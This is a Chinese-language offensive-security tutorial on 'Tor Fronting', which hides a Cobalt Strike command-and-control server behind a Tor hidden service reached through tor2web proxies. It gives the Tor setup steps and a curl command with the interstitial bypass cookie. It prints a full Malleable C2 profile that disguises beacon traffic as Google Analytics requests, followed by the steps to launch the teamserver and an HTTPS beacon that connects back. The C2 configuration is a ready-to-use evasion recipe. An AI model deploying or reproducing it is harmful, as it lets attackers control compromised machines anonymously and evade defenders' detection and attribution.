【基础篇】————23、隐匿攻击之Tor Fronting
0x01 简介
学习完Domain Fronting之后,又从@vysecurity的文章里学会了一个新的姿势–Tor Fronting
,使用Tor Fronting
同样能在攻击中隐藏自己,并且更加容易实现,此文就来介绍一下这个新的姿势。
0x02 Tor Hidden Services
Tor是互联网上用于保护您隐私最有力的工具之一,而Tor Hidden Services则是为了隐藏自己的网站或者其他服务的一个服务。通过此服务,我们可以获取到一个通过Tor Browser来访问的Hostname,此Hostname唯一且匿名,所以我们完全可以使用这个Hostname来为我们转发流量从而达到隐匿的目的。
怎样搭建Tor Hidden Services可以参考此wiki,下面介绍一下我测试环境的搭建过程。
环境为:Ubuntu 12.04
搭建过程如下:
查看系统信息:
lsb_release -a
可以看到Codename为precise,所以在这里选择deb类型如下:
之后按照官方wiki修改更新源,我的源路径为/etc/apt/sources.list
,有的系统更新源路径可能在/etc/apt/sources.list.d/
,在源中添加以下条目:
deb http://deb.torproject.org/torproject.org precise main
deb-src http://deb.torproject.org/torproject.org precise main
之后执行以下命令:
gpg –keyserver keys.gnupg.net –recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add –
安装:
$ sudo apt-get update
$ sudo apt-get install tor deb.torproject.org-keyring
执行完成以后,就成功安装了,如果出现问题,可以查看一下wiki。
之后要对tor进行一下配置,编辑配置文件/etc/tor/torrc
,将以下两个参数前的注释去掉。
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
HiddenServicePort为代理的端口,将本地的8080端口服务转发到80端口。
配置完成以后对Tor服务进行重启:
sudo service tor restart
查看获取到的hostname:
sudo cat /var/lib/tor/hidden_service/hostname
其中xxxxx.onion
则为我们的Tor隐藏服务。通过访问这个地址,可以访问到我们服务器8080端口的服务,下面进行一下测试。
开启8080端口的服务:
☁ ~ cd /tmp
☁ ~ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 …
使用tor浏览器访问此域名,可看到8080端口的响应:
0x03 Tor2Web
要对这个隐藏server进行利用,需要借助于一个代理,即tor2web,因为要想访问到隐藏服务,直接通过一般浏览器是不行的,所以,可以借助于tor2web,需要做的也很简单,当我们访问形如http://duskgytldkxiuqc6.onion/
的链接时,直接修改.onion
成.onion.to
或.onion.city
或 onion.cab
或者任何一个提供此服务的域名即可。如下图:
当然,这里会有一个问题,就是访问的时候,会需要我们点击一个按钮才能正常访问,如下图:
那么怎么样才能直接访问呢,很简单,只需要带上点击以后的cookie就可以了,测试如下:
curl -b ‘onion_cab_iKnowShit=yourcookie’ ‘https://xxxx.onion.cab/1.txt’
0x04 Cobalt Strike
同样的,我们使用Cobalt Strike来进行测试。这里需要配置一个新的profile,@vysecurity已经提供了一个,具体如下:
tor-fronting.profile
# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker
# Modified by Vincent Yiu @vysecurity for TOR.
set sleeptime "5000";
http-get {
set uri "/___utm";
client {
header "Host" "bjaw6h36vwruhwvb.onion.cab";
header "Cookie" "onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d";
metadata {
base64url;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "plain/text";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/__utm";
set verb "GET";
client {
header "Host" "bjaw6h36vwruhwvb.onion.cab";
header "Cookie" "onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
output {
base64url;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "plain/text";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "plain/text";
}
}
在这里需要注意的是,我们需要修改
Get
以及Post
中的Host
及Cookie
为自己的。当然,如果你想让数据包呈现别的样子,你也可以自己再写一个profile。
开启teamserver:
☁ cobal sudo ./teamserver [your ip] hacktest tor-fronting.profile
连接到Teamserver,之后创建监听:
因为onion.cab使用的https,所以我们需要生成一个HTTPS Beacon,Host随意输入一个域名,端口
一定要改成443
。
使用onion.cab
:
生成HTTPS Beacon:
生成HTTPS Beacon以后,要修改监听到8080端口,并且使用HTTP,因为这是tor转发的服务。
选择Edit:
修改参数如下:
保存之后,运行HTTPS beacon,成功上线:
DEMO:
https://www.youtube.com/watch?v=I3ovfrqcF0I
0x05 小结
使用Tor Fronting 有以下几个特点:
1、你不需要外网环境
,将C2放到Docker或者本地都可以!(但是需要服务器在墙外)
2、使C2匿名;
3、并不需要在目标机上安装Tor;
4、默认是安全的。
5、要求C2上同时安装Cobalt Strike及Tor服务。
通过流量转发来隐藏自己的真正服务器是隐藏的关键,而如何寻找转发和怎么样使用它是很有趣的过程,希望文章能给你有所启发。
0x06 参考
1、https://www.torproject.org/docs/tor-hidden-service.html.en
2、https://www.mdsec.co.uk/2017/02/tor-fronting-utilising-hidden-services-for-privacy/
3、https://secureallthethings.blogspot.co.uk/2016/11/use-tor-use-empire.html
4、https://www.tor2web.org/